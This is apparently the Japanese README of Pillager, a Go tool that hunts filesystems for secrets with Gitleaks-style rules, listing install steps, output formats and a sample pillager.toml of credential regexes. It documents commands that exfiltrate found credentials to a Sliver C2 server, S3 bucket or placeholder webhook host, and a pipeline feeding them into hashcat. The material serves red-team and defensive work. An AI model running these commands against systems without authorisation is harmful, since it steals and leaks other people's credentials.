
Goを使ってファイルシステムから機密情報を略奪する 🔍
Go を使用して、ファイルシステム内の機密情報を奪取 (Pillage) します。
Pillager は、Go の強力な並行処理モデルを活用して、ディレクトリを再帰的に検索し、ファイル内の機密情報を簡単に見つける手段を提供するために設計されています。Pillager は、いくつかの巨人の肩 の上に立っています。Pillager が指定されたパターンに一致するファイルを見つけると、そのファイルは一連の並行ワーカーによってスキャンされます。各ワーカーはジョブキューからファイルの 1 行を受け取り、機密パターンの一致を探します。利用可能なパターンフィルターは pillager.toml ファイルで定義することも、デフォルトのルールセットを使用することもできます。
システムに Go がセットアップされている場合は、go install で Pillager をインストールできます。
go install github.com/brittonhayes/pillager@latest
scoop bucket add pillager https://github.com/brittonhayes/pillager-scoop.git
scoop install pillager
brew tap brittonhayes/homebrew-pillager
brew install pillager
docker run --rm -it ghcr.io/brittonhayes/pillager:latest hunt .
バイナリをお探しの場合は、最新のリリースからお使いのシステムに合った実行可能ファイルを確認してください。
pillager で利用可能なすべてのコマンドを表示するには
# アプリケーション全体の説明を表示
pillager
# 任意のサブコマンドから
pillager [cmd] --help
Pillager は、bubbletea で構築されたターミナルユーザーインターフェースを提供します。インタラクティブにシークレットをスキャンしたい場合に使用できます。
発見したシークレットをリモートの宛先に送信します: Sliver C2 (戦利品/資格情報ストア)、S3/MinIO (クラウドストレージ)、または Webhook (カスタム HTTP エンドポイント)。
# Sliver C2 - 資格情報をパースしてチームサーバーに送信
pillager hunt /target --exfil sliver \
--sliver-config ~/.sliver-client/configs/operator.cfg
# S3/MinIO - 暗号化してアップロード
pillager hunt /target --exfil s3 \
--s3-bucket red-team-findings \
--s3-endpoint https://minio.internal:9000 \
--exfil-encrypt env:EXFIL_KEY
# Webhook - カスタムエンドポイントに POST
pillager hunt /target --exfil webhook \
--webhook-url https://your-server.com/findings \
--webhook-header "Authorization: Bearer token"
セキュリティ: AES-256-GCM 暗号化 (--exfil-encrypt)、デフォルトで TLS、自動メタデータ (ホスト名、タイムスタンプ)
Pillager は Gitleaks1 のルールを完全にサポートしています。これは pillager.toml ファイルの rules2 セクションで渡すことも、config フラグを空白のままにしてデフォルトのルールセットを使用することもできます。
# pillager.toml
# 基本設定
verbose = false
redact = false
# シークレット検出のルール
[[rules]]
description = "AWS Access Key"
id = "aws-access-key"
regex = '''(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'''
tags = ["aws", "credentials"]
[[rules]]
description = "AWS Secret Key"
id = "aws-secret-key"
regex = '''(?i)aws(.{0,20})?(?-i)['\"][0-9a-zA-Z\/+]{40}['\"]'''
tags = ["aws", "credentials"]
[[rules]]
description = "GitHub Token"
id = "github-token"
regex = '''ghp_[0-9a-zA-Z]{36}'''
tags = ["github", "token"]
[[rules]]
description = "Private Key"
id = "private-key"
regex = '''-----BEGIN (?:RSA|OPENSSH|DSA|EC|PGP) PRIVATE KEY( BLOCK)?-----'''
tags = ["key", "private"]
# 許可リストの設定
[allowlist]
paths = [
".*/_test\\.go$",
".*/testdata/.*",
".*\\.md$",
".*/vendor/.*"
]
regexes = [
"EXAMPLE_KEY",
"DUMMY_SECRET"
]
Pillager にはいくつかの組み込み出力形式があります。お好みのものを選んでください!
pillager hunt .
pillager hunt ./example -f json | jq
JSON 出力は、優れた jq ユーティリティとシームレスに連携するように設計されており、簡単に解析できます。
# Pillager を使用して、検出結果から改行区切りのワードリストを生成
pillager hunt . -f wordlist
# Pillager を使用してワードリストを追加し、お気に入りの hashcat 攻撃モードを使用
pillager hunt ./ -f wordlist >> rockyou.txt && hashcat -a 0 hash.txt rockyou.txt
pillager hunt . -f json-pretty
pillager hunt . -f html > results.html
pillager hunt . -f markdown > results.md
pillager hunt . -f csv > results.csv
pillager hunt . --template "{{ range .}}Secret: {{.Secret}}{{end}}"
pillager hunt . -t "$(cat mytemplate.tmpl)"
Pillager では、強力な go text/template および sprig 関数を使用して出力形式をカスタマイズできます。以下にいくつかのテンプレート例を示します。
{{ range . -}}
File: {{ .File }}
Secret: {{ .Secret}}
Description: {{ quote .Description }}
{{ end -}}
# Results
{{ range . -}}
## {{ .File }}
- Location: {{.StartLine}}
{{end}}
その他のテンプレート例は templates ディレクトリにあります。
GoDoc のドキュメントは pkg.go.dev の pillager で入手できます。
Pillager の機能や修正の開発に参加するには、以下の手順で始めてください:
Cobra とは?
Cobra は、git や go ツールと同様の強力なモダン CLI インターフェースを簡単に作成するためのライブラリです。Cobra はまた、Cobra ベースのアプリケーションを迅速に開発するためのアプリケーションスキャフォールディングを生成するアプリケーションでもあります。
これまでに Go で書かれた CLI を見たことがあるなら、それが Cobra で構築されている可能性は非常に高いです。このライブラリは本当にお勧めです。開発者が一貫性があり、動的で、自己文書化されたコマンドラインツールを簡単に作成できるようにします。例としては、kubectl、hugo、GitHub の gh CLI などがあります。
Gitleaks とは?
Gitleaks1 は、git リポジトリ内のパスワード、API キー、トークンなどのハードコードされたシークレットを検出するための SAST ツールです。
Gitleaks はシークレット漏洩防止に優れたツールです。もし Gitleaks を pre-commit チェッカーとしてまだ実装していないなら、ぜひチェックしてみてください。
なぜ Gitleaks が Pillager に関連するのか?
Pillager は Gitleaks の強力な ルール 機能を実装しながら、見つかったシークレットの表示と処理に異なるアプローチを取っています。デフォルトのルールのベースラインを提供していますが、ユーザーが自分のユースケースに合わせてルールを作成できるようにすることで、Pillager はさらに強力になります。
ベースラインのルールセットについては、含まれているルール2を確認してください。
言うまでもないことですが、あえて言います:Pillager の使用によって生じたいかなる結果に対しても、私は責任を負いません。 このツールは防御目的、教育目的、および関係者全員の同意を得たセキュリティ研究者の使用を目的としています。 Pillager を使用した悪意のある行動は決して容認も推奨もされません。このツールを責任を持って使用し、シークレットをスキャンする前に必ずシステム上の許可を得てください。
その核心において、Pillager は、MITRE ATT&CK3 フレームワークによって文書化された、一般的な資格情報漏洩の原因がシステムに影響を与えているかどうかを判断するのに役立つように設計されています。